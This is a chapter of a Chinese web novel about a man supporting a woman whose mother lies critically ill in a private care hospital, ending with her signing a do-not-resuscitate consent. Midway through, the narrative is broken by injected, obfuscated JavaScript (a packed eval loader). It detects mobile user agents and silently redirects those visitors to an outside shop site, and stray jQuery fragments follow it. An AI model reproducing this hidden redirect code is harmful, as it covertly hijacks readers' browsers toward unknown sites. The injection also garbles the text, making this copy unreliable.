“你是因为我才没有舅妈的吗？”
小玉揉揉鼻子，眨巴着大眼睛问他。
叶一：“是你的舅妈，我本来就没有舅妈。”
小玉想了一会儿，严谨地问：“你是因为我，才没有我的舅妈的吗？”
叶一沉默了一会儿，问他：“为什么这么问？”
小玉脆生生地回答：“爷爷偷偷让我跟你说，我不想跟你住。”
“......然后呢？”
“然后我问爷爷，我是不是耽误你找舅妈了。”小玉吧唧吧唧嘴，“然后爷爷就给我拿了根冰棒。”
叶一食指敲敲作业本，“分苹果，做完给你拿。”
等小玉吃上冰棒的时候，叶一伸手在他脑袋上摸了两下，“你一个下午就在想这件事？”
“嗯？”小玉咬着冰棒含糊不清地说，“想什么？嗯，在想。”
“具体想什么了？”
小玉回忆片刻，说道：“想的是......哈密瓜味的也好吃，但是菠萝的更甜一点。”
叶一原本正在给他削铅笔，闻言手一顿，无奈地看着小玉。
接着他拿着铅笔在桌上轻敲两下，“快吃，吃完做题。”
小玉皱着眉头吃棒冰，一想到要做题，连菠萝味都不甜了。
叶一手机发出高频铃声的时候，他正在给小玉卷寿司，紫菜里裹着满满的午餐肉，几乎要爆开。
他拿着刀正要切下去时被铃声吓了一跳，差点切到手。
那是Never Leaves App的专属铃声，他拿起手机看了一眼报警，立马抓起桌上整条寿司塞进小玉手里，叮嘱几句，急匆匆地冲出门。
医院在魔都郊区，他在晚高峰的车流中缓慢地开车，出了内环才好些，路上花了两个多小时才到。
他攥着手机，看着屏幕上告警的血氧含量，硬是没敢打电话。手环GPS功能根本不完善，没有层高识别能力，他只好一层一层地跑。
所幸楼层不多，空间不大，他在五层角落的一个病房门口看到了一动不动坐着的许阳秋。
她靠在柔软的椅背上，后背挺得很直。她穿了一件驼色的绒毛毛衣，毛衣柔软蓬松地包裹着她。尽管她端端正正地坐着，却给人一种缩成一团的感觉。
叶一放轻脚步靠近她，没等他走几步，许阳秋就意识到有人靠近，缓慢地抬起头，看见他的瞬间，表情变了变。
他很难形容她的表情是变得更紧绷还是更放松，只看到她肩膀小幅度地抖了一下，又稳住。
叶一站在她对面，听着病房内规律的滴滴声，一时无话。
许阳秋嘴角扯出一个不上不下的弧度，小声说：“真好啊，正想给你打电话，你就出现了。”
还在胡说。
叶一看着她白得发青的手，把长椅上的大衣拿起来，搭在她肩上。
接着攥着两边领子，向内收了收，让大衣把她拥得更紧些。
“冷不冷？”
许阳秋顺着他的视线看看自己泛白的手，气声说：“不冷，这是吓的。”
透过病房的玻璃窗，叶一看到带着呼吸机的钱桂。
看样子阿姨已经脱离危险，仪器稳定的滴滴声也在说明这一点。
要问她吗？
要安慰她吗？
要......抱抱她吗？
能么。
许阳秋没给他纠结的时间，继续说：“她肺白了一大半，双肺感染、积水，刚才血氧一直掉，脸都是紫的。”
“我知道的，早晚有这么一天。”许阳秋声音轻得像飘忽的雪，“她之前每次肺炎，最多咳嗽几声，吸几天氧也就好了，还是第一次这么严重。喘不上气应该很难受，可她也没法跟我说。”
“增强CT报告上说，她除了肺部之外还有多处器官感染，就是说，除了呼吸困难，她可能还有别的地方不舒服，但她根本说不出来。”
“之前医生问我要不要给她插胃管，我做过胃镜，我觉得那样太痛苦，我不想让她一直痛，所以我拒绝了。那气切插气管什么样呢？是不是会更疼呢？”她微微垂头，气声说，“......我还要说多久，你才能抱我一下？”
指令让他的身体先于大脑做出反应，话音未落，他便一条腿跪在地上，使自己与椅子上的她齐平。
接着，他用手臂圈住她，像抱小玉那样，有些越界地把手扣在她脑后，小幅度地摩挲着她的头发。
他的手机被丢在一旁，已经静音，但血氧告警一次又一次地弹出来，徒劳地、喧嚷地报告着。
怀里传来一声轻不可闻的呜咽，仿佛是他的错觉。
他的全部理智被这一声呜咽撕了个粉碎，徒留浓烈却无用的情绪，在他脑海中叫嚷。
想办法啊。
不是拿着一个华而不实的应用邀功，而是真真正正地让她别再痛苦。
倒是想办法啊？！
这个世界上，还有比他更没用的人吗？
那之后，许阳秋在医院陪了钱桂三天，没吃没喝也没睡，一直守在病房里。
这期间钱桂醒了几次，但每次时间都不长。
之前叶一总觉得钱桂和许阳秋的眼睛不论是大小、性状还是颜色，都一模一样，但他现在不再这么觉得。
因为钱桂阿姨的眼睛几乎全部凹下去，干瘪的皮肤泛黄褶皱，瞳孔不再是通透的琥珀色，甚至泛着灰调。
她醒来的那几次，眼神扫过四周，没有在任何一点，或是任何人的脸上多停留一秒，接着就涣散地望着天花板，再没有反应。
但她每一次醒来，许阳秋都会极其努力地跟她说话，不停地说，像是想要证明什么似的。
第四天早上，叶一打定主意，拖也要把许阳秋拖回家休息。
谁知许阳秋却先提出要带他去吃早饭。
医院所在的区比较偏远，周遭居民区不多，只有几个脏摊。
两个人在脏摊上各点了一碗泛着油花的馄饨填饱肚子，吃完许阳秋从包里抽出两张纸巾，边擦嘴边说：“还有两周开庭，刑检那边让我配合询问，我已经拖了两天，不能再拖了。”
“你又没有直接参与案件，可以拒绝。”
见许阳秋没回答，叶一皱眉继续说：“你现在这样怎么去？”
许阳秋眼下乌青，语速却很快：“没事的，应该很快。我回去洗个澡换身衣服，中午之前就能结束，还能回来睡一觉。”
“我陪你去。”
许阳秋摇摇头，“你也回去休息吧。不忙的话，明天白天再来医院陪我。”
叶一没再跟她争执，配合地点头应下。
从检察院出来以后，许阳秋不知是太久没睡还是低血糖，眼前猛地一黑，差点摔倒。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222827|140050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>她连忙扶住冰凉的扶手，弯着腰缓了一会儿。
安全起见她没开车，所以打了辆车回医院。到医院的时候，“保险箱”女士还在睡，她轻手轻脚地在旁边的陪护床上躺好。
谁知道躺了半天，愣是半天睡意都没有。
人在熬了大夜之后，难免神经兴奋，一时间很难转换状态。
她干脆搬了个椅子坐到病床旁，趴在床沿边上，把“保险箱”女士的手放在头上，轻轻蹭了几下。
小时候她最喜欢被摸着头发睡觉，那时不论她怎么兴奋，“保险箱”女士只要捏住她一缕头发，来回揉搓，她就能立马呵欠连天。
但此刻，她睡意依然似有若无，不甚明显。
许阳秋趴了许久，她头上那只手压在她头顶，纹丝未动。她很轻很轻地叹出一口气，闭着眼睛强行入睡。
不知过了多久，她过于清醒的神智终于出现一些断点，最终彻底跌入不安稳的梦境中。
接下来的大半个月，她过得浑噩又忙碌。
照顾“保险箱”女士之余，她还要一趟趟地跑检察院，连带着还要忙集团的事，宁总再怎么给她放假，还是有些事推不掉，她只好抽时间往公司跑。
她每天三点一线地折腾，赶场似的处理一件又一件事，人也有些麻木。
叶一时不时就会出现在医院里，大多数时候是给她送饭和用品，少数时候只是安静地陪着她。她没力气说话，他也配合地沉默。
偶尔停下来的时候，她会不适应，自己都没意识到的时候，就开始坐在床边看着“保险箱”女士憔悴的面容长久地发呆。
然后被一个从后背贴过来的温热怀抱打断。每到这种时候，他过热的胸口总能让她回过神来，继续三点一线的忙碌。
“保险箱”女士第三次被下病危，又第三次转危为安之后，许阳秋去找了那位一直劝她插管的王医生。
“你想好了？”王医生第四次问出这个问题。
不论是之前插胃管还是气切，王医生的态度都很明确，反复劝她不要拒绝必要的医疗手段。
许阳秋第四次肯定地说：“想好了。”
王医生还在试图劝她：“我看你挺忙的，每天电话不断，来回跑确实辛苦。但咱们这是专业的养护医院，找你收着每天五六千的费用，肯定会尽心尽力地照顾患者。我们这里的条件都是顶尖的，她身上连个褥疮都不会有。你要是忙的话，可以不用每天陪在这，为什么非得放弃抢救呢？”
私立养护医院和公立医院不同，资源没那么紧张，医护人员自然也鲜少劝家属放弃治疗，甚至会给家属提供情绪价值，鼓励他们再坚持一下。
但他们从没说过坚持的尽头是什么。
“这一个月，我每天都在跟自己打赌。一开始是，只要她跟我说一个字，我就不放弃。后来变成，她的视线只要在我脸上停留一秒，我就不放弃。现在已经变成，只要她有一个指标好转，我就不放弃。”许阳秋轻声说，“可是，都没有。”
“赌约换了又换……可……什么都没有。”
王医生见她心意已决，没有再劝，从抽屉里拿出放弃抢救同意书，摆在她面前，贴心地把笔帽拔开递给她。
她没有犹豫地接过来，落笔——
许、阳、秋。
笔锋起起伏伏，峰回路转，却指向绝无转圜余地的结局。